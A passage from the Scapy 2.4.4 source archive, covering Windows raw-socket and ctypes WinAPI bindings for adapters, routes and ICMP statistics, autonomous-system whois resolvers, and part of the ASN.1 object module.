does not return the IPv6 header. Let's build it # (host, port, flowinfo, scopeid) host, _, flowinfo, _ = address header = raw(IPv6(src=host, dst=self.host_ip6, fl=flowinfo, nh=self.proto, # fixed for AF_INET6 plen=len(data))) return IPv6, header + data, time.time() else: return IP, data, time.time() def check_recv(self): return True def close(self): if not self.closed and self.promisc: self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) super(L3WinSocket, self).close() @staticmethod def select(sockets, remain=None): return _select_nonblock(sockets, remain=remain) class L3WinSocket6(L3WinSocket): desc = "a native Layer 3 (IPv6) raw socket under Windows" def __init__(self, **kwargs): super(L3WinSocket6, self).__init__(ipv6=True, **kwargs) def open_icmp_firewall(host): """Temporarily open the ICMP firewall. Tricks Windows into allowing ICMP packets for a short period of time (~ 1 minute)""" # We call ping with a timeout of 1ms: will return instantly with open(os.devnull, 'wb') as DEVNULL: return subprocess.Popen("ping -4 -w 1 -n 1 %s" % host, shell=True, stdout=DEVNULL, stderr=DEVNULL).wait() def get_current_icmp_seq(): """See help(scapy.arch.windows.native) for more information. Returns the current ICMP seq number.""" return GetIcmpStatistics()['stats']['icmpOutStats']['dwEchos'] scapy-2.4.4/scapy/arch/windows/structures.py000066400000000000000000000422071372370053500211750ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license # flake8: noqa E266 # (We keep comment boxes, it's then one-line comments) """ C API calls to Windows DLLs """ import ctypes import ctypes.wintypes from ctypes import Structure, POINTER, byref, create_string_buffer, WINFUNCTYPE from scapy.config import conf from scapy.consts import WINDOWS_XP ANY_SIZE = 65500 # FIXME quite inefficient :/ AF_UNSPEC = 0 NO_ERROR = 0x0 CHAR = ctypes.c_char DWORD = ctypes.wintypes.DWORD BOOL = ctypes.wintypes.BOOL BOOLEAN = ctypes.wintypes.BOOLEAN ULONG = ctypes.wintypes.ULONG ULONGLONG = ctypes.c_ulonglong HANDLE = ctypes.wintypes.HANDLE LPWSTR = ctypes.wintypes.LPWSTR VOID = ctypes.c_void_p INT = ctypes.c_int UINT = ctypes.wintypes.UINT UINT8 = ctypes.c_uint8 UINT16 = ctypes.c_uint16 UINT32 = ctypes.c_uint32 UINT64 = ctypes.c_uint64 BYTE = ctypes.c_byte UCHAR = UBYTE = ctypes.c_ubyte SHORT = ctypes.c_short USHORT = ctypes.c_ushort # UTILS def _resolve_list(list_obj): current = list_obj _list = [] while current and hasattr(current, "contents"): _list.append(_struct_to_dict(current.contents)) current = current.contents.next return _list def _struct_to_dict(struct_obj): results = {} for fname, ctype in struct_obj.__class__._fields_: val = getattr(struct_obj, fname) if fname == "next": # Already covered by the trick below continue if issubclass(ctype, (Structure, ctypes.Union)): results[fname] = _struct_to_dict(val) elif val and hasattr(val, "contents"): # Let's resolve recursive pointers if hasattr(val.contents, "next"): results[fname] = _resolve_list(val) else: results[fname] = val else: results[fname] = val return results ############################## ####### WinAPI handles ####### ############################## _winapi_SetConsoleTitle = ctypes.windll.kernel32.SetConsoleTitleW _winapi_SetConsoleTitle.restype = BOOL _winapi_SetConsoleTitle.argtypes = [LPWSTR] def _windows_title(title=None): """Updates the terminal title with the default one or with `title` if provided.""" if conf.interactive: _winapi_SetConsoleTitle(title or "Scapy v{}".format(conf.version)) SC_HANDLE = HANDLE class SERVICE_STATUS(Structure): """https://docs.microsoft.com/en-us/windows/desktop/api/winsvc/ns-winsvc-_service_status""" # noqa: E501 _fields_ = [("dwServiceType", DWORD), ("dwCurrentState", DWORD), ("dwControlsAccepted", DWORD), ("dwWin32ExitCode", DWORD), ("dwServiceSpecificExitCode", DWORD), ("dwCheckPoint", DWORD), ("dwWaitHint", DWORD)] OpenServiceW = ctypes.windll.Advapi32.OpenServiceW OpenServiceW.restype = SC_HANDLE OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD] CloseServiceHandle = ctypes.windll.Advapi32.CloseServiceHandle CloseServiceHandle.restype = BOOL CloseServiceHandle.argtypes = [SC_HANDLE] OpenSCManagerW = ctypes.windll.Advapi32.OpenSCManagerW OpenSCManagerW.restype = SC_HANDLE OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD] QueryServiceStatus = ctypes.windll.Advapi32.QueryServiceStatus QueryServiceStatus.restype = BOOL QueryServiceStatus.argtypes = [SC_HANDLE, POINTER(SERVICE_STATUS)] def get_service_status(service): """Returns content of QueryServiceStatus for a service""" SERVICE_QUERY_STATUS = 0x0004 schSCManager = OpenSCManagerW( None, # Local machine None, # SERVICES_ACTIVE_DATABASE SERVICE_QUERY_STATUS ) service = OpenServiceW( schSCManager, service, SERVICE_QUERY_STATUS ) status = SERVICE_STATUS() QueryServiceStatus( service, status ) result = _struct_to_dict(status) CloseServiceHandle(service) CloseServiceHandle(schSCManager) return result ############################## ###### Define IPHLPAPI ###### ############################## iphlpapi = ctypes.windll.iphlpapi ############################## ########### Common ########### ############################## class in_addr(Structure): _fields_ = [("byte", UBYTE * 4)] class in6_addr(Structure): _fields_ = [("byte", UBYTE * 16)] class sockaddr_in(Structure): _fields_ = [("sin_family", SHORT), ("sin_port", USHORT), ("sin_addr", in_addr), ("sin_zero", 8 * CHAR)] class sockaddr_in6(Structure): _fields_ = [("sin6_family", SHORT), ("sin6_port", USHORT), ("sin6_flowinfo", ULONG), ("sin6_addr", in6_addr), ("sin6_scope_id", ULONG)] class SOCKADDR_INET(ctypes.Union): _fields_ = [("Ipv4", sockaddr_in), ("Ipv6", sockaddr_in6), ("si_family", USHORT)] ############################## ######### ICMP stats ######### ############################## class MIBICMPSTATS(Structure): _fields_ = [("dwMsgs", DWORD), ("dwErrors", DWORD), ("dwDestUnreachs", DWORD), ("dwTimeExcds", DWORD), ("dwParmProbs", DWORD), ("dwSrcQuenchs", DWORD), ("dwRedirects", DWORD), ("dwEchos", DWORD), ("dwEchoReps", DWORD), ("dwTimestamps", DWORD), ("dwTimestampReps", DWORD), ("dwAddrMasks", DWORD), ("dwAddrMaskReps", DWORD)] class MIBICMPINFO(Structure): _fields_ = [("icmpInStats", MIBICMPSTATS), ("icmpOutStats", MIBICMPSTATS)] class MIB_ICMP(Structure): _fields_ = [("stats", MIBICMPINFO)] PMIB_ICMP = POINTER(MIB_ICMP) # Func _GetIcmpStatistics = WINFUNCTYPE(ULONG, PMIB_ICMP)( ('GetIcmpStatistics', iphlpapi)) def GetIcmpStatistics(): """Return all Windows ICMP stats from iphlpapi""" statistics = MIB_ICMP() _GetIcmpStatistics(byref(statistics)) results = _struct_to_dict(statistics) del(statistics) return results ############################## ##### Adapters Addresses ##### ############################## # Our GetAdaptersAddresses implementation is inspired by # @sphaero 's gist: https://gist.github.com/sphaero/f9da6ebb9a7a6f679157 # published under a MPL 2.0 License (GPLv2 compatible) # from iptypes.h MAX_ADAPTER_ADDRESS_LENGTH = 8 MAX_DHCPV6_DUID_LENGTH = 130 GAA_FLAG_INCLUDE_PREFIX = ULONG(0x0010) # for now, just use void * for pointers to unused structures PIP_ADAPTER_WINS_SERVER_ADDRESS_LH = VOID PIP_ADAPTER_GATEWAY_ADDRESS_LH = VOID PIP_ADAPTER_DNS_SUFFIX = VOID IF_OPER_STATUS = UINT IF_LUID = UINT64 NET_IF_COMPARTMENT_ID = UINT32 GUID = BYTE * 16 NET_IF_NETWORK_GUID = GUID NET_IF_CONNECTION_TYPE = UINT # enum TUNNEL_TYPE = UINT # enum class SOCKET_ADDRESS(ctypes.Structure): _fields_ = [('address', POINTER(SOCKADDR_INET)), ('length', INT)] class _IP_ADAPTER_ADDRESSES_METRIC(Structure): _fields_ = [('length', ULONG), ('interface_index', DWORD)] class IP_ADAPTER_UNICAST_ADDRESS(Structure): pass PIP_ADAPTER_UNICAST_ADDRESS = POINTER(IP_ADAPTER_UNICAST_ADDRESS) if WINDOWS_XP: IP_ADAPTER_UNICAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_UNICAST_ADDRESS), ("address", SOCKET_ADDRESS), ("prefix_origin", INT), ("suffix_origin", INT), ("dad_state", INT), ("valid_lifetime", ULONG), ("preferred_lifetime", ULONG), ("lease_lifetime", ULONG), ] else: IP_ADAPTER_UNICAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_UNICAST_ADDRESS), ("address", SOCKET_ADDRESS), ("prefix_origin", INT), ("suffix_origin", INT), ("dad_state", INT), ("valid_lifetime", ULONG), ("preferred_lifetime", ULONG), ("lease_lifetime", ULONG), ("on_link_prefix_length", UBYTE) ] class IP_ADAPTER_ANYCAST_ADDRESS(Structure): pass PIP_ADAPTER_ANYCAST_ADDRESS = POINTER(IP_ADAPTER_ANYCAST_ADDRESS) IP_ADAPTER_ANYCAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_ANYCAST_ADDRESS), ("address", SOCKET_ADDRESS), ] class IP_ADAPTER_MULTICAST_ADDRESS(Structure): pass PIP_ADAPTER_MULTICAST_ADDRESS = POINTER(IP_ADAPTER_MULTICAST_ADDRESS) IP_ADAPTER_MULTICAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_MULTICAST_ADDRESS), ("address", SOCKET_ADDRESS), ] class IP_ADAPTER_DNS_SERVER_ADDRESS(Structure): pass PIP_ADAPTER_DNS_SERVER_ADDRESS = POINTER(IP_ADAPTER_DNS_SERVER_ADDRESS) IP_ADAPTER_DNS_SERVER_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_DNS_SERVER_ADDRESS), ("address", SOCKET_ADDRESS), ] class IP_ADAPTER_PREFIX(Structure): pass PIP_ADAPTER_PREFIX = ctypes.POINTER(IP_ADAPTER_PREFIX) IP_ADAPTER_PREFIX._fields_ = [ ("alignment", ULONGLONG), ("next", PIP_ADAPTER_PREFIX), ("address", SOCKET_ADDRESS), ("prefix_length", ULONG) ] class IP_ADAPTER_ADDRESSES(Structure): pass LP_IP_ADAPTER_ADDRESSES = POINTER(IP_ADAPTER_ADDRESSES) if WINDOWS_XP: IP_ADAPTER_ADDRESSES._fields_ = [ ('length', ULONG), ('interface_index', DWORD), ('next', LP_IP_ADAPTER_ADDRESSES), ('adapter_name', ctypes.c_char_p), ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS), ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS), ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS), ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS), ('dns_suffix', ctypes.c_wchar_p), ('description', ctypes.c_wchar_p), ('friendly_name', ctypes.c_wchar_p), ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH), ('physical_address_length', ULONG), ('flags', ULONG), ('mtu', ULONG), ('interface_type', DWORD), ('oper_status', IF_OPER_STATUS), ('ipv6_interface_index', DWORD), ('zone_indices', ULONG * 16), ('first_prefix', PIP_ADAPTER_PREFIX), ] else: IP_ADAPTER_ADDRESSES._fields_ = [ ('length', ULONG), ('interface_index', DWORD), ('next', LP_IP_ADAPTER_ADDRESSES), ('adapter_name', ctypes.c_char_p), ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS), ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS), ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS), ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS), ('dns_suffix', ctypes.c_wchar_p), ('description', ctypes.c_wchar_p), ('friendly_name', ctypes.c_wchar_p), ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH), ('physical_address_length', ULONG), ('flags', ULONG), ('mtu', ULONG), ('interface_type', DWORD), ('oper_status', IF_OPER_STATUS), ('ipv6_interface_index', DWORD), ('zone_indices', ULONG * 16), ('first_prefix', PIP_ADAPTER_PREFIX), ('transmit_link_speed', ULONGLONG), ('receive_link_speed', ULONGLONG), ('first_wins_server_address', PIP_ADAPTER_WINS_SERVER_ADDRESS_LH), ('first_gateway_address', PIP_ADAPTER_GATEWAY_ADDRESS_LH), ('ipv4_metric', ULONG), ('ipv6_metric', ULONG), ('luid', IF_LUID), ('dhcpv4_server', SOCKET_ADDRESS), ('compartment_id', NET_IF_COMPARTMENT_ID), ('network_guid', NET_IF_NETWORK_GUID), ('connection_type', NET_IF_CONNECTION_TYPE), ('tunnel_type', TUNNEL_TYPE), ('dhcpv6_server', SOCKET_ADDRESS), ('dhcpv6_client_duid', BYTE * MAX_DHCPV6_DUID_LENGTH), ('dhcpv6_client_duid_length', ULONG), ('dhcpv6_iaid', ULONG), ('first_dns_suffix', PIP_ADAPTER_DNS_SUFFIX)] # Func _GetAdaptersAddresses = WINFUNCTYPE(ULONG, ULONG, ULONG, POINTER(VOID), LP_IP_ADAPTER_ADDRESSES, POINTER(ULONG))( ('GetAdaptersAddresses', iphlpapi)) def GetAdaptersAddresses(AF=AF_UNSPEC): """Return all Windows Adapters addresses from iphlpapi""" # We get the size first size = ULONG() flags = GAA_FLAG_INCLUDE_PREFIX res = _GetAdaptersAddresses(AF, flags, None, None, byref(size)) if res != 0x6f: # BUFFER OVERFLOW -> populate size raise RuntimeError("Error getting structure length (%d)" % res) # Now let's build our buffer pointer_type = POINTER(IP_ADAPTER_ADDRESSES) buffer = create_string_buffer(size.value) AdapterAddresses = ctypes.cast(buffer, pointer_type) # And call GetAdaptersAddresses res = _GetAdaptersAddresses(AF, flags, None, AdapterAddresses, byref(size)) if res != NO_ERROR: raise RuntimeError("Error retrieving table (%d)" % res) results = _resolve_list(AdapterAddresses) del(AdapterAddresses) return results ############################## ####### Routing tables ####### ############################## ### V1 ### class MIB_IPFORWARDROW(Structure): _fields_ = [('ForwardDest', DWORD), ('ForwardMask', DWORD), ('ForwardPolicy', DWORD), ('ForwardNextHop', DWORD), ('ForwardIfIndex', DWORD), ('ForwardType', DWORD), ('ForwardProto', DWORD), ('ForwardAge', DWORD), ('ForwardNextHopAS', DWORD), ('ForwardMetric1', DWORD), ('ForwardMetric2', DWORD), ('ForwardMetric3', DWORD), ('ForwardMetric4', DWORD), ('ForwardMetric5', DWORD)] class MIB_IPFORWARDTABLE(Structure): _fields_ = [('NumEntries', DWORD), ('Table', MIB_IPFORWARDROW * ANY_SIZE)] PMIB_IPFORWARDTABLE = POINTER(MIB_IPFORWARDTABLE) # Func _GetIpForwardTable = WINFUNCTYPE(DWORD, PMIB_IPFORWARDTABLE, POINTER(ULONG), BOOL)( ('GetIpForwardTable', iphlpapi)) def GetIpForwardTable(): """Return all Windows routes (IPv4 only) from iphlpapi""" # We get the size first size = ULONG() res = _GetIpForwardTable(None, byref(size), False) if res != 0x7a: # ERROR_INSUFFICIENT_BUFFER -> populate size raise RuntimeError("Error getting structure length (%d)" % res) # Now let's build our buffer pointer_type = PMIB_IPFORWARDTABLE buffer = create_string_buffer(size.value) pIpForwardTable = ctypes.cast(buffer, pointer_type) # And call GetAdaptersAddresses res = _GetIpForwardTable(pIpForwardTable, byref(size), True) if res != NO_ERROR: raise RuntimeError("Error retrieving table (%d)" % res) results = [] for i in range(pIpForwardTable.contents.NumEntries): results.append(_struct_to_dict(pIpForwardTable.contents.Table[i])) del(pIpForwardTable) return results ### V2 ### NET_IFINDEX = ULONG NL_ROUTE_PROTOCOL = INT NL_ROUTE_ORIGIN = INT class NET_LUID(Structure): _fields_ = [("Value", ULONGLONG)] class IP_ADDRESS_PREFIX(Structure): _fields_ = [("Prefix", SOCKADDR_INET), ("PrefixLength", UINT8)] class MIB_IPFORWARD_ROW2(Structure): _fields_ = [("InterfaceLuid", NET_LUID), ("InterfaceIndex", NET_IFINDEX), ("DestinationPrefix", IP_ADDRESS_PREFIX), ("NextHop", SOCKADDR_INET), ("SitePrefixLength", UCHAR), ("ValidLifetime", ULONG), ("PreferredLifetime", ULONG), ("Metric", ULONG), ("Protocol", NL_ROUTE_PROTOCOL), ("Loopback", BOOLEAN), ("AutoconfigureAddress", BOOLEAN), ("Publish", BOOLEAN), ("Immortal", BOOLEAN), ("Age", ULONG), ("Origin", NL_ROUTE_ORIGIN)] class MIB_IPFORWARD_TABLE2(Structure): _fields_ = [("NumEntries", ULONG), ("Table", MIB_IPFORWARD_ROW2 * ANY_SIZE)] PMIB_IPFORWARD_TABLE2 = POINTER(MIB_IPFORWARD_TABLE2) # Func if not WINDOWS_XP: # GetIpForwardTable2 does not exist under Windows XP _GetIpForwardTable2 = WINFUNCTYPE( ULONG, USHORT, POINTER(PMIB_IPFORWARD_TABLE2))( ('GetIpForwardTable2', iphlpapi) ) _FreeMibTable = WINFUNCTYPE(None, PMIB_IPFORWARD_TABLE2)( ('FreeMibTable', iphlpapi) ) def GetIpForwardTable2(AF=AF_UNSPEC): """Return all Windows routes (IPv4/IPv6) from iphlpapi""" if WINDOWS_XP: raise OSError("Not available on Windows XP !") table = PMIB_IPFORWARD_TABLE2() res = _GetIpForwardTable2(AF, byref(table)) if res != NO_ERROR: raise RuntimeError("Error retrieving table (%d)" % res) results = [] for i in range(table.contents.NumEntries): results.append(_struct_to_dict(table.contents.Table[i])) _FreeMibTable(table) return results scapy-2.4.4/scapy/as_resolvers.py000066400000000000000000000073631372370053500170560ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Resolve Autonomous Systems (AS). """ from __future__ import absolute_import import socket from scapy.config import conf from scapy.compat import plain_str class AS_resolver: server = None options = "-k" def __init__(self, server=None, port=43, options=None): if server is not None: self.server = server self.port = port if options is not None: self.options = options def _start(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.server, self.port)) if self.options: self.s.send(self.options.encode("utf8") + b"\n") self.s.recv(8192) def _stop(self): self.s.close() def _parse_whois(self, txt): asn, desc = None, b"" for line in txt.splitlines(): if not asn and line.startswith(b"origin:"): asn = plain_str(line[7:].strip()) if line.startswith(b"descr:"): if desc: desc += b"\n" desc += line[6:].strip() if asn is not None and desc: break return asn, plain_str(desc.strip()) def _resolve_one(self, ip): self.s.send(("%s\n" % ip).encode("utf8")) x = b"" while not (b"%" in x or b"source" in x): x += self.s.recv(8192) asn, desc = self._parse_whois(x) return ip, asn, desc def resolve(self, *ips): self._start() ret = [] for ip in ips: ip, asn, desc = self._resolve_one(ip) if asn is not None: ret.append((ip, asn, desc)) self._stop() return ret class AS_resolver_riswhois(AS_resolver): server = "riswhois.ripe.net" options = "-k -M -1" class AS_resolver_radb(AS_resolver): server = "whois.ra.net" options = "-k -M" class AS_resolver_cymru(AS_resolver): server = "whois.cymru.com" options = None def resolve(self, *ips): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.server, self.port)) s.send( b"begin\r\n" + b"\r\n".join(ip.encode() for ip in ips) + b"\r\nend\r\n" ) r = b"" while True: line = s.recv(8192) if line == b"": break r += line s.close() return self.parse(r) def parse(self, data): """Parse bulk cymru data""" ASNlist = [] for line in data.splitlines()[1:]: line = plain_str(line) if "|" not in line: continue asn, ip, desc = [elt.strip() for elt in line.split('|')] if asn == "NA": continue asn = "AS%s" % asn ASNlist.append((ip, asn, desc)) return ASNlist class AS_resolver_multi(AS_resolver): resolvers_list = (AS_resolver_riswhois(), AS_resolver_radb(), AS_resolver_cymru()) resolvers_list = resolvers_list[1:] def __init__(self, *reslist): AS_resolver.__init__(self) if reslist: self.resolvers_list = reslist def resolve(self, *ips): todo = ips ret = [] for ASres in self.resolvers_list: try: res = ASres.resolve(*todo) except socket.error: continue todo = [ip for ip in todo if ip not in [r[0] for r in res]] ret += res if not todo: break return ret conf.AS_resolver = AS_resolver_multi() scapy-2.4.4/scapy/asn1/000077500000000000000000000000001372370053500146265ustar00rootroot00000000000000scapy-2.4.4/scapy/asn1/__init__.py000066400000000000000000000003611372370053500167370ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Package holding ASN.1 related modules. """ scapy-2.4.4/scapy/asn1/asn1.py000066400000000000000000000350361372370053500160510ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Modified by Maxence Tury # This program is published under a GPLv2 license """ ASN.1 (Abstract Syntax Notation One) """ from __future__ import absolute_import from __future__ import print_function import random from datetime import datetime from scapy.config import conf from scapy.error import Scapy_Exception, warning from scapy.volatile import RandField, RandIP, GeneralizedTime from scapy.utils import Enum_metaclass, EnumElement, binrepr from scapy.compat import plain_str, chb, orb import scapy.modules.six as six from scapy.modules.six.moves import range class RandASN1Object(RandField): def __init__(self, objlist=None): self.objlist = [ x._asn1_obj for x in six.itervalues(ASN1_Class_UNIVERSAL.__rdict__) if hasattr(x, "_asn1_obj") ] if objlist is None else objlist self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # noqa: E501 def _fix(self, n=0): o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0, 1000))) elif issubclass(o, ASN1_IPADDRESS): z = RandIP()._fix() return o(z) elif issubclass(o, ASN1_GENERALIZED_TIME) or issubclass(o, ASN1_UTC_TIME): # noqa: E501 z = GeneralizedTime()._fix() return o(z) elif issubclass(o, ASN1_STRING): z = int(random.expovariate(0.05) + 1) return o("".join(random.choice(self.chars) for _ in range(z))) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z = int(random.expovariate(0.08) + 1) return o([self.__class__(objlist=self.objlist)._fix(n + 1) for _ in range(z)]) return ASN1_INTEGER(int(random.gauss(0, 1000))) ############## # ASN1 # ############## class ASN1_Error(Scapy_Exception): pass class ASN1_Encoding_Error(ASN1_Error): pass class ASN1_Decoding_Error(ASN1_Error): pass class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error): pass class ASN1Codec(EnumElement): def register_stem(cls, stem): cls._stem = stem def dec(cls, s, context=None): return cls._stem.dec(s, context=context) def safedec(cls, s, context=None): return cls._stem.safedec(s, context=context) def get_stem(cls): return cls.stem class ASN1_Codecs_metaclass(Enum_metaclass): element_class = ASN1Codec class ASN1_Codecs(six.with_metaclass(ASN1_Codecs_metaclass)): BER = 1 DER = 2 PER = 3 CER = 4 LWER = 5 BACnet = 6 OER = 7 SER = 8 XER = 9 class ASN1Tag(EnumElement): def __init__(self, key, value, context=None, codec=None): EnumElement.__init__(self, key, value) self._context = context if codec is None: codec = {} self._codec = codec def clone(self): # not a real deep copy. self.codec is shared return self.__class__(self._key, self._value, self._context, self._codec) # noqa: E501 def register_asn1_object(self, asn1obj): self._asn1_obj = asn1obj def asn1_object(self, val): if hasattr(self, "_asn1_obj"): return self._asn1_obj(val) raise ASN1_Error("%r does not have any assigned ASN1 object" % self) def register(self, codecnum, codec): self._codec[codecnum] = codec def get_codec(self, codec): try: c = self._codec[codec] except KeyError: raise ASN1_Error("Codec %r not found for tag %r" % (codec, self)) return c class ASN1_Class_metaclass(Enum_metaclass): element_class = ASN1Tag def __new__(cls, name, bases, dct): # XXX factorise a bit with Enum_metaclass.__new__() # noqa: E501 for b in bases: for k, v in six.iteritems(b.__dict__): if k not in dct and isinstance(v, ASN1Tag): dct[k] = v.clone() rdict = {} for k, v in six.iteritems(dct): if isinstance(v, int): v = ASN1Tag(k, v) dct[k] = v rdict[v] = v elif isinstance(v, ASN1Tag): rdict[v] = v dct["__rdict__"] = rdict cls = type.__new__(cls, name, bases, dct) for v in six.itervalues(cls.__dict__): if isinstance(v, ASN1Tag): v.context = cls # overwrite ASN1Tag contexts, even cloned ones return cls class ASN1_Class(six.with_metaclass(ASN1_Class_metaclass)): pass class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" ERROR = -3 RAW = -2 NONE = -1 ANY = 0 BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 STRING = 4 NULL = 5 OID = 6 OBJECT_DESCRIPTOR = 7 EXTERNAL = 8 REAL = 9 ENUMERATED = 10 EMBEDDED_PDF = 11 UTF8_STRING = 12 RELATIVE_OID = 13 SEQUENCE = 16 | 0x20 # constructed encoding SET = 17 | 0x20 # constructed encoding NUMERIC_STRING = 18 PRINTABLE_STRING = 19 T61_STRING = 20 # aka TELETEX_STRING VIDEOTEX_STRING = 21 IA5_STRING = 22 UTC_TIME = 23 GENERALIZED_TIME = 24 GRAPHIC_STRING = 25 ISO646_STRING = 26 # aka VISIBLE_STRING GENERAL_STRING = 27 UNIVERSAL_STRING = 28 CHAR_STRING = 29 BMP_STRING = 30 IPADDRESS = 0 | 0x40 # application-specific encoding COUNTER32 = 1 | 0x40 # application-specific encoding GAUGE32 = 2 | 0x40 # application-specific encoding TIME_TICKS = 3 | 0x40 # application-specific encoding class ASN1_Object_metaclass(type): def __new__(cls, name, bases, dct): c = super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register_asn1_object(c) except Exception: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class ASN1_Object(six.with_metaclass(ASN1_Object_metaclass)): tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, val): self.val = val def enc(self, codec): return self.tag.get_codec(codec).enc(self.val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val) # noqa: E501 def __str__(self): return self.enc(conf.ASN1_default_codec) def __bytes__(self): return self.enc(conf.ASN1_default_codec) def strshow(self, lvl=0): return (" " * lvl) + repr(self) + "\n" def show(self, lvl=0): print(self.strshow(lvl)) def __eq__(self, other): return self.val == other def __lt__(self, other): return self.val < other def __le__(self, other): return self.val <= other def __gt__(self, other): return self.val > other def __ge__(self, other): return self.val >= other def __ne__(self, other): return self.val != other ####################### # ASN1 objects # ####################### # on the whole, we order the classes by ASN1_Class_UNIVERSAL tag value class ASN1_DECODING_ERROR(ASN1_Object): tag = ASN1_Class_UNIVERSAL.ERROR def __init__(self, val, exc=None): ASN1_Object.__init__(self, val) self.exc = exc def __repr__(self): return "<%s[%r]{{%r}}>" % (self.__dict__.get("name", self.__class__.__name__), # noqa: E501 self.val, self.exc.args[0]) def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_force(ASN1_Object): tag = ASN1_Class_UNIVERSAL.RAW def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_BADTAG(ASN1_force): pass class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER def __repr__(self): h = hex(self.val) if h[-1] == "L": h = h[:-1] # cut at 22 because with leading '0x', x509 serials should be < 23 if len(h) > 22: h = h[:12] + "..." + h[-10:] r = repr(self.val) if len(r) > 20: r = r[:10] + "..." + r[-10:] return h + " <%s[%s]>" % (self.__dict__.get("name", self.__class__.__name__), r) # noqa: E501 class ASN1_BOOLEAN(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN # BER: 0 means False, anything else means True def __repr__(self): return '%s %s' % (not (self.val == 0), ASN1_Object.__repr__(self)) class ASN1_BIT_STRING(ASN1_Object): """ ASN1_BIT_STRING values are bit strings like "011101". A zero-bit padded readable string is provided nonetheless, which is stored in val_readable """ tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, val, readable=False): if not readable: self.val = val else: self.val_readable = val def __setattr__(self, name, value): if name == "val_readable": if isinstance(value, (str, bytes)): val = "".join(binrepr(orb(x)).zfill(8) for x in value) else: warning("Invalid val: should be bytes") val = "" object.__setattr__(self, "val", val) object.__setattr__(self, name, value) object.__setattr__(self, "unused_bits", 0) elif name == "val": value = plain_str(value) if isinstance(value, str): if any(c for c in value if c not in ["0", "1"]): warning("Invalid operation: 'val' is not a valid bit string.") # noqa: E501 return else: if len(value) % 8 == 0: unused_bits = 0 else: unused_bits = 8 - (len(value) % 8) padded_value = value + ("0" * unused_bits) bytes_arr = zip(*[iter(padded_value)] * 8) val_readable = b"".join(chb(int("".join(x), 2)) for x in bytes_arr) # noqa: E501 else: warning("Invalid val: should be str") val_readable = b"" unused_bits = 0 object.__setattr__(self, "val_readable", val_readable) object.__setattr__(self, name, value) object.__setattr__(self, "unused_bits", unused_bits) elif name == "unused_bits": warning("Invalid operation: unused_bits rewriting " "is not supported.") else: object.__setattr__(self, name, value) def __repr__(self): s = self.val_readable if len(s) > 16: s = s[:10] + b"..." + s[-10:] v = self.val if len(v) > 20: v = v[:10] + "..." + v[-10:] return "<%s[%s]=%s (%d unused bit%s)>" % ( self.__dict__.get("name", self.__class__.__name__), v, s, self.unused_bits, "s" if self.unused_bits > 1 else "" ) class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_NULL(ASN1_Object): tag = ASN1_Class_UNIVERSAL.NULL def __repr__(self): return ASN1_Object.__repr__(self) class ASN1_OID(ASN1_Object): tag = ASN1_Class_UNIVERSAL.OID def __init__(self, val): val = plain_str(val) val = conf.mib._oid(val) ASN1_Object.__init__(self, val) self.oidname = conf.mib._oidname(val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.oidname) # noqa: E501 class ASN1_ENUMERATED(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1_UTF8_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTF8_STRING class ASN1_NUMERIC_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1_PRINTABLE_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class 